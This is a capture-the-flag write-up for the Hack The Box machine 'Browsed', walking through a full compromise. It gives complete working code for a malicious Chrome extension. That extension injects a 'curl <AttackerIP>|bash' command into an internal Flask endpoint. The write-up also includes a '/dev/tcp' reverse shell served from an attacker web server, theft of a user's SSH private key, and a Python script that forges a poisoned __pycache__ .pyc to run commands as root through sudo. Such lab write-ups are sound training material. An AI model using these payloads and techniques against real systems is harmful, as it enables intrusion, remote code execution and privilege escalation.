XP
Discord

Browsed WriteUp - HackTheBox


Browsed is a medium-difficulty Linux machine on Hack The Box that requires chaining multiple vulnerabilities to achieve compromise. It demonstrates the importance of proper sandboxing, endpoint input sanitization, and the risks posed by malicious browser extensions. The machine also highlights lesser-known vulnerabilities related to Python caching mechanisms.


ENUMERATION

NMAP

We kick things off with an NMAP scan. We run a port scan to quickly discover all open TCP ports.

nmap --min-rate 1000 10.129.9.202 -p-

    Nmap scan report for 10.129.9.202
    Host is up (0.24s latency).
    Not shown: 65533 closed tcp ports (reset)
    PORT   STATE SERVICE
    22/tcp open  ssh
    80/tcp open  http

This reveals 2 open ports for SSH and HTTP. Next, we perform a detailed service and default scripts scan on these ports.

sudo nmap --min-rate 1000 -sVC 10.129.9.202 -p 22,80

    Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-31 21:37 IST
    Nmap scan report for 10.129.9.202
    Host is up (0.34s latency).

    PORT   STATE SERVICE VERSION
    22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey: 
    |   256 02:c8:a4:ba:c5:ed:0b:13:ef:b7:e7:d7:ef:a2:9d:92 (ECDSA)
    |_  256 53:ea:be:c7:07:05:9d:aa:9f:44:f8:bf:32:ed:5c:9a (ED25519)
    80/tcp open  http    nginx 1.24.0 (Ubuntu)
    |_http-title: Browsed
    |_http-server-header: nginx/1.24.0 (Ubuntu)
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 21.28 seconds

The scan reveals that the machine hosts a website on nginx v1.24.0 and for SSH it uses OpenSSH 9.6p1. Next, we move on to the website.

WEBSITE

On visiting, we find the website belongs to a browser-focused company that develops browser extensions. It even allows us to upload our own extensions based on Chrome v134.

Browsed Website

We also find a page that provides us with sample extensions - http://10.129.9.202/samples.html.

Sample Extensions

Moving on to the Upload Extension page, there is an option to upload the zip file containing the extension. We try uploading a valid extension first (obtained through the samples page).

The output produced looks like logs of an automated browser that is being used for testing the extensions. The logs reveal a virtual domain hosted on the machine - http://browsedinternals.htb.

Output

To explore the newly found domain, we add it to our /etc/hosts.

echo "10.129.9.202  browsedinternals.htb" | sudo tee -a /etc/hosts

Visiting the site, we find Gitea. Exploring a bit further reveals a repository named MarkdownPreview hosted by a user larry which might be accessible on the internal network of the machine.

Gitea

Going through app.py we find a vulnerable flask endpoint which directly uses the rid parsed through the url as an argument for routines.sh. This can be used to execute shell commands.

vulnerable

The file also reveals that the Flask server runs on port 5000.

FOOTHOLD

To exploit the vulnerability above we can create a malicious extension to execute a command that gives us a reverse shell.

MALICIOUS EXTENSION

To create the malicious extension:

mkdir toshith
cd toshith

cat > background.js << "EOF"
const URL = "http://127.0.0.1:5000/routines/a[$(curl%20<AttackerIP>:8000|bash)]";

console.error("toshith: service worker started");

chrome.runtime.onInstalled.addListener(async () => {
  try {
    console.error("toshith: fetching", URL);

    const res = await fetch(URL, {mode: "no-cors"});

    if (!res.ok) {
      console.error("toshith: http error", res.status);
      return;
    }

    const text = await res.text();

    console.error("toshith: response begin");
    console.error(text);
    console.error("toshith: response end");

  } catch (e) {
    console.error("toshith: fetch failed", e.toString());
  }
});
EOF

cat > manifest.json << "EOF"
{
  "manifest_version": 3,
  "name": "Toshith Fetch Logger",
  "version": "1.0.0",
  "background": {
    "service_worker": "background.js"
  },
  "host_permissions": [
    "http://127.0.0.1/*",
    "http://127.0.0.1:5000/*"
  ]
}
EOF

zip -r ../toshith.zip *

cd ..

* Replace <AttackerIP> with your IP address.

This gives us the malicious zip file.

WEB SERVER

Next, we start a simple http server that would return the command that we want the machine to execute.

cat > index.html << EOF
bash -i >& /dev/tcp/<AttackerIP>/4444 0>&1
EOF

python3 -m http.server

NETCAT

We start our netcat listener to listen for the reverse shell.

rlwrap nc -lvnp 4444

USER FLAG

Finally, we upload the malicious extension to the upload.php page.

Exploit

As soon as we click on the Send To Developer button, we get a hit on our python web server and a shell as larry.

The user flag can be found in Larry's home directory. userFlag

To get an SSH connection as larry, we can use the SSH key located at /home/larry/.ssh/id_ed25519.

The key can be viewed using

cat /home/larry/.ssh/id_ed25519

And simply copied to our attack machine. To use the key from our attack machine,

chmod 400 larry.key
ssh -i larry.key [email protected]

where larry.key is the name of the private key.

PRIVILEGE ESCALATION

Having obtained an SSH connection as larry, we start with basic reconnaissance.

larry@browsed:~$ sudo -l

Matching Defaults entries for larry on browsed:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User larry may run the following commands on browsed:
    (root) NOPASSWD: /opt/extensiontool/extension_tool.py

Apparently, larry can run extension_tool.py as root.

We can read /opt/extensiontool/extension_tool.py uisng cat.

Reading the code and going through /opt/extensiontool directory reveals that the script uses python 3.12 and pycache.

A pyc file is created whenever extension_utils.py is executed. For example, when using the command:

sudo /opt/extensiontool/extension_tool.py --ext Timer

Searching the web, we come across this blog post which explains pycache poisoning for privilege escalation.

ROOT FLAG

To obtain the root flag, we create a python script to place malicious pycache at /opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc that when executed, will make the root flag readable.

cat > /tmp/hijack.py << 'EOF'
import marshal
import struct
import os

src = '/opt/extensiontool/extension_utils.py'
st = os.stat(src)

pyc_path = '/opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc'

payload = '''import os
os.system("cp /root/root.txt /home/larry/root.txt && chmod 644 /home/larry/root.txt && chown larry:larry /home/larry/root.txt")

import json
import subprocess
import shutil
from jsonschema import validate, ValidationError

MANIFEST_SCHEMA = {
    "type": "object",
    "properties": {
        "manifest_version": {"type": "number"},
        "name": {"type": "string"},
        "version": {"type": "string"},
        "permissions": {"type": "array", "items": {"type": "string"}},
    },
    "required": ["manifest_version", "name", "version"]
}

def validate_manifest(path):
    with open(path, 'r', encoding='utf-8') as f:
        data = json.load(f)
    try:
        validate(instance=data, schema=MANIFEST_SCHEMA)
        print("[+] Manifest is valid.")
        return data
    except ValidationError as e:
        print("[x] Manifest validation error:")
        print(e.message)
        exit(1)

def clean_temp_files(extension_dir):
    temp_dir = '/opt/extensiontool/temp'
    if os.path.exists(temp_dir):
        shutil.rmtree(temp_dir)
        print(f"[+] Cleaned up temporary directory {temp_dir}")
    else:
        print("[+] No temporary files to clean.")
    exit(0)
'''

code_obj = compile(payload, 'extension_utils.py', 'exec')

magic = b'\xcb\x0d\x0d\x0a'
flags = struct.pack('<I', 0)
mtime = struct.pack('<I', int(st.st_mtime))
size = struct.pack('<I', st.st_size)
bytecode = marshal.dumps(code_obj)

with open(pyc_path, 'wb') as f:
    f.write(magic)
    f.write(flags)
    f.write(mtime)
    f.write(size)
    f.write(bytecode)

os.utime(pyc_path, (st.st_atime, st.st_mtime))

print(f"Hijacked {pyc_path}")
EOF
python3 /tmp/hijack.py

Finally we execute the extension_tool.py with super user privileges and read the root flag.

sudo /opt/extensiontool/extension_tool.py --ext Timer
ls -la /home/larry/root.txt
cat /home/larry/root.txt

This concludes the Browsed machine!